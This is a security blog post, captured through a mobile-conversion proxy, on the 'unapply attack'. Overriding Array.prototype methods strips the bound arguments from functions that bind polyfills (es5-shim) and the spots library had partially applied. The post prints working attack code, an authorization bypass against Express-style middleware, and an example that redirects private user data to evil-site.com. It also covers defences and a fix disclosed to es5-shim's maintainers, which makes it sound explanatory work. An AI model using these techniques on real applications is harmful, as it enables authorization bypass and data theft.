Movatterモバイル変換


[0]ホーム

URL:


Our planet 🌏 is in danger

Act today:what you can do

Unapply attack

Compromise functions private to closures via partially applied references.

TL;DR We can exploit the partially applied functions to "free" the bound arguments and run the originalfunction with new set of unexpected runtime arguments. This is a potentially serious security hole, as it canaffect various browsers and the popular server middleware projects like ExpressJs. It effectivelyremoves the assumption that functions inside closures are private to the closure and cannot beaccessed from the outside.

Review

The exploit uses two basic JavaScript concepts: closures and partial application.

Closures

You can review closures by readingthis blog post. In essence, JavaScriptdoes not have the keywordprivate. Instead it restricts variable's visibility to the functionthat declares it. This is commonly used to create variables that cannot be accessed from the outside

1
2
3
4
5
6
7
var four = (functionclosure() {
var two =2;// private to "closure"
return4;
}());
four;// 4
two;
// ReferenceError: two is undeclared

Partial application review

You can review JavaScript concept of context binding and partial application by readingthis blog post.

JavaScript ES5 includes a native method for binding the values to the function's arguments, and producing a new function. For example

1
2
3
4
5
functionadd(a, b) {return a + b; }
var add2 = add.bind(null,2);
var add2to5 = add.bind(null,2,5);
add2(10);// 12
add2to5();// 7

We assume that given only a partially applied function reference, likeadd2 oradd2to5,there is no way to get to the original function referenceadd. This can be used to conveniently hidethe original unprotected code inside a closure, exporting only a partially applied function that issafe for the outside users to call.

Here is an example of a closure with an unprotected function and exported partially bound reference.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// take a simple function add,
// make it private to a closure
// and return partially applied version
var add2 = (function() {
functionadd(a, b) {
if (a ===42) {
thrownewError('Oh no, first argument is 42!');
}
return a + b;
}
return add.bind(null,2);
}());
// one can safely use add2
console.log(add2(3));// 5

Becauseadd is inside the anonymous closure, we assume there is no way to callit from the outside, except via the returned partially applied reference.This is important in this case because as an exampleadd has an undesiredbehavior: it crashes if the first argument has value 42. The programmer assumesthatadd will always run with first argument equal to 2. Yet, this assumption is invalid as I will show next.

Polyfills

The nativeFunction.prototype.bind method used above is part of the modern ES5 standard.There are a lot of polyfills that provide this method for legacy reasons. One can easily writeabind polyfill, here is one suggestion that does not implement the context binding, onlythe partial argument application.

1
2
3
4
5
6
7
8
9
// simple bind polyfill
functionbind(fn) {
var prev =Array.prototype.slice.call(arguments,1);
returnfunctionbound() {
var curr =Array.prototype.slice.call(arguments,0);
var args =Array.prototype.concat.apply(prev, curr);
return fn.apply(null, args);
};
}

The main principle is to combine the values given in the original call (theprev array) with the values given at the later runtime call (thecurr array). One can use the custombind similarly to the native one

1
2
var add2 =bind(add,2);
add2(3);// 5

A typical polyfill used in many projects ises5-shim downloaded more than100k times every month. Thees5-shim library has its ownbind function.Its argument combination code is very similar to the simple "bind" code example from above:

1
2
3
4
5
// other stuff
return target.apply(
that,
args.concat(array_slice.call(arguments))
);

Attacking polyfills

The goal of the attack is to run theoriginal function instance, replacing thepreviously bound arguments withthe new runtime values. Because the original function might rely on its privacy, it might NOT validate the inputs, assuming that some of them will always be bound to the "safe" values.

Here is how one can achieve this.Let us take a look at the simplebind polyfill again. Suppouse we inspect thesource of thebound functionadd2. We will see just the code returned by the polyfill.

1
2
3
4
5
6
7
8
9
var add2 =bind(add,2);
console.log(add2.toString());
/*
function bound() {
var curr = Array.prototype.slice.call(arguments, 0);
var args = Array.prototype.concat.apply(prev, curr);
return fn.apply(null, args);
}
*/

Typically, I would attack a method like this byfaking its lexical scope,but in this scope there are two variables accessed via the lexical scope:prev andfn. Since I want to use the originalfn function while replacing theprev, this technique does not work.

Yet, there is a part of the code that I can modify easily: theArray.prototype.concat call that combinesthe previouslybound valuesprev with the runtime valuescurr. I (the attacker) can simplyoverwrite theArray.prototype.concat call todiscard theprev array entirely! Here is one attack methodthat works against both the simplebind andes5-shim functions

1
2
3
4
5
6
7
8
9
10
// unapply-attack
functionunapplyAttack() {
var concat =Array.prototype.concat;
Array.prototype.concat =functionreplaceAll() {
Array.prototype.concat = concat;// restore the correct version
var curr =Array.prototype.slice.call(arguments,0);
var result = concat.apply([], curr);
return result;
};
}

An attacker uses the aboveunapplyAttack function like this

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// attack example
var add2 = (function () {
functionadd(a, b) {
if (a ===42) {
thrownewError('Oh no, first argument is 42!');
}
return a + b;
}
return add.bind(null,2);
}());
console.log(add2(3));// 5
unapplyAttack();
add2(42,10);
// ERROR!

Again, just to stress the important point: the attack does not rely on calling thetoString() - only on inspecting thebind implementation and changing theArray.prototype method(s) to changethe behavior when combining previously bound values with the new ones.

Another attack example

Suppose we send the user's data to the server

1
2
3
4
5
6
7
8
9
var sendUserData = (function () {
var serverUrl ='https://...';// injected by the server
return $http.post.bind($http, serverUrl, privateUserData);
}());
// expected behavior
sendUserData();
// attack behavior - only change first bound value
unapplyAttack();
send('http://evil-site.com');

One can attack even the modern ES5 engines in 3 steps

  • delete the nativeFunction.prototype.bind
  • load thees5-shim (which many projects do for legacy reasons)
  • execute theunapplyAttack
1
2
3
4
5
// replace v8's native bind with es5-shim version
deleteFunction.prototype.bind;
require('es5-shim');
var unapplyAttack =require('./unapply-attack');
// execute the attack whenever possible

Attacking Express.js

The middleware server stacks in theExpress.js can be attackedif the programmers used partial application toremove the routing boilerplate.Typically, there is a router that executes the middleware functions in order, unless a functionreturned false. For example, let us have a "server" that only allows the restricted functionsto run if the user is logged in and authorized. You can see the "server" code inserver.js

The partial application used in this example is a simple placeholder binderspots

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// exporting partially applied authorization routing function
var route = (functionprotectServer() {
...
functionisLoggedIn() { ... }
functionisAuthorized() { ... }
...
var S =require('spots');
var isValidUser =S(router, S, isLoggedIn, isAuthorized);
return isValidUser;
}());
functionrestricted() {
console.log('running restricted action');
}
route('/foo', restricted);// not allowed

Unless the functionisLoggedIn andisAuthorized return true, therestricted function should never run.But this is only true if the attacker can NOT replace the bound values via theroute reference. This is simple for thespots library, we can inspect therelevant source code to see how it places the runtime arguments into the placeholder items

1
2
3
4
5
6
7
8
9
// part of spots.js that combines previous "bound" and current values
var combinedArgs = [];
args.forEach(function (arg) {
if (arg === spots) {
combinedArgs.push(moreArgs.shift());
}else {
combinedArgs.push(arg);
}
});

Here is the attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
functionunapplyAttack() {
var S =require('spots');
var forEach =Array.prototype.forEach;
Array.prototype.forEach =functionsendSpots(cb) {
var k;
for (k =0; k <this.length; k +=1) {
cb(S, k,this);
}
Array.prototype.forEach = forEach;// restore correct version
};
}
unapplyAttack();
functionallow() {
returntrue;
}
route('/foo', allow, allow, restricted);
// this replaces all previous values by faking the spots comparison
// running restricted action

I am not sure if such placeholder trick is possible for thelodash library. The value combinatorin that library uses plain indices to combine the arrays, without calling the prototype methods, see thewrapper code.

Preventing the unapply attacks

There are steps that both library authors and users can take to stop unapply-style attacks.

From the user's (website author) perspective I only see one solution to these attacks: freezing the built-in prototypes likeArray.prototype,Function.prototype,Object.prototype beforeloading any other code (like trusted libraries or 3rd party code). For example:

1
2
3
4
5
6
// prevent the second attack
unapplyAttack();
console.log(add2(10,3));// 13
Object.freeze(Array.prototype);
unapplyAttack();
console.log(add2(10,3));// 12

As far as I see, unless one can show a very convincing use case, modifying the built-in prototypes shouldnot be possible. I suggest freezing the prototypes after loading the system / shim JavaScript libraries butbefore loading any of the application-specific or 3rd party plugin code.

The library authors can take steps to lessen the chance of the attack in a couple of ways.One, keep a reference to the original (hopefully uncompromised) methods used to combine arguments.

1
2
3
4
5
6
7
8
// inside the shim library
var concat =Array.prototype.concat;
functionbind(fn) {
...
// use the original / non-compromised concat
var args = concat.apply(prev, curr);
return fn.apply(null, args);
}

Second, instead of using methods to combine previously bound / runtime arguments, use plain for loops, which wouldbe harder to change externally

1
2
3
4
5
6
7
8
// inside the shim library
functionbind(fn) {
var args = prev;
for (var k =0; k <arguments.length; k +=1) {
args[prev.length + k] =arguments[k];
}
return fn.apply(null, args);
}

Conclusion

JavaScript is a wonderful and flexible language, but some malicious code can use the language's prototype methods to break the expectation of "privacy" inside the closures. It will take more thanjust relying on the originalFunction.prototype.bind in all cases; modern applications use otherstyles of partial application using client-space implementations:partial application from the right,position index application,application with placeholders andapplication by name. It is up to the library's authors to provide reasonably safe implementations, and up to the user to be vigilant against loading malicious code.

Finally, I guess this attack can be extended to rebinding the original function to a different context.

Update 1

After I contacted the es5-shim maintainers, thebind polyfill has been made to be more robust to messing with theArray.prototype.concat method, see thechange.

Update 2

I wrote small library to freeze the common prototypes before loading untrusted 3rd party code.Hope that this is enough to prevent these attacks.

index.html
1
2
3
4
5
<scriptsrc="//cdn/jquery.js"></script>
<scriptsrc="//cdn/angular.js"></script>
<scriptsrc="dist/freeze-prototypes.js"></script>
<scriptsrc="<your app code>"></script>
<scriptsrc="<untrusted 3rd party code>"></script>

Seefreeze-prototypes

Update 3

A lot of feedback I have received for this blog post focuses in my opinion on thewrong aspect. Yes, the attacker would need to run malicious code. Yes, JavaScript is a dynamiclanguage. But the problem is that by using 3rd party code, unreviewed, we trust that codetoo much. In essence we are saying that if we keep the door locked, we don't need a safeinside the house. The privacy mechanism the closures give us is like a safe. By allowing3rd party code to modify prototypes we are removing the safe's back wall!

 

Categories

Tags

Tag Cloud

11tyQUnita11yadviceaialgoliaangularangularjsangularjs2assertionsastboilerplatebrowsercicircleclimatecode coverageconcurrencycopilotcyclejscypresscypress dashboardd3dbdockerdocumentationemailes6es7functionalgeneratorsgitgithubgraphqlgruntgulphiringhyperappimmutableinterviewjadejavascriptjshintmarkdownmodel-based testingmodular developmentnetlifynodejsperformanceplaywrightpresentationpromisesproposalramdareactreact nativereactivereactjsrenovatescreencastsecuritysentryservice workersstate machinetestingtutorialtypescriptuivercelvisual testingvuejsweb workerswebpack

Archives

Recents

© 2025 Gleb Bahmutov
Powered byHexo

[8]ページ先頭

©2009-2025 Movatter.jp